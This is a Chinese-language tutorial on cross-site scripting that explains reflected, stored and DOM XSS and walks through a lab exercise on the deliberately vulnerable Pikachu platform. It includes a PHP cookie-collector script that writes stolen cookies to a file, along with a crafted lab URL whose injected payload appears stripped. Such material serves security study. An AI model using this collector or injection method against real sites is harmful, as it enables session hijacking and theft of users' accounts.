什么是xss
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器 执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实 施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨 大的,是web安全的头号大敌。
XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户
XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制
攻击的条件
- 需要向web页面注入恶意代码
- 这些恶意代码能够被浏览器成功的执行
攻击流程
假设存在漏洞的是一个论坛,攻击者将恶意的JS代码通过XSS漏洞插入到论文的某一页面中
当用户访问这个页面时,都会执行这个恶意的JS代码,这个代码就会在用户的浏览器端执行
XSS攻击类型
危害:存储型 > 反射型 > DOM型
- 反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询页面等
- 存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面
- DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型
XSS形成原因
形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格
导致“精心构造”的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行
XSS漏洞测试流程
① 在目标上找输入点,比如查询接口、留言板
② 输入一组 “特殊字符(>,',"等)+唯一识别字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理
③ 通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)
④ 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞
漏洞平台pikachu
反射性xss
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5DY44E3j-1574774891418)(http://class184.cn/wp-content/uploads/2019/11/1-3.png)]
利用反射性xss盗取cookie
cookie.php用于接收受害者的cookie,然后将页面重定向到漏洞服务器的页面,将cookie写进cookie.txt文件中
<?php
header("content-Type: text/html; charset=Utf-8");
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
echo "<center><h2>你的cookie已经被盗取</h2></center>";
echo "<center> <input type=\"image\" src=\"images/xss.gif\" name=\"img\"></center>";
echo"<center>";
echo "你的cookie是:".$cookie;
echo "</center>"
?>
我们需要将js进行url编码
http://192.168.91.138/vul/xss/xss_reflected_get.php?message=&submit=submitr
当我们点击这个网址的时候——>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-p2ECUrD9-1574774891420)(http://class184.cn/wp-content/uploads/2019/11/4-2.png)]
在网站中cookie.txt中收集的cookie
存储型xss
利用方法和反射性xss大同小异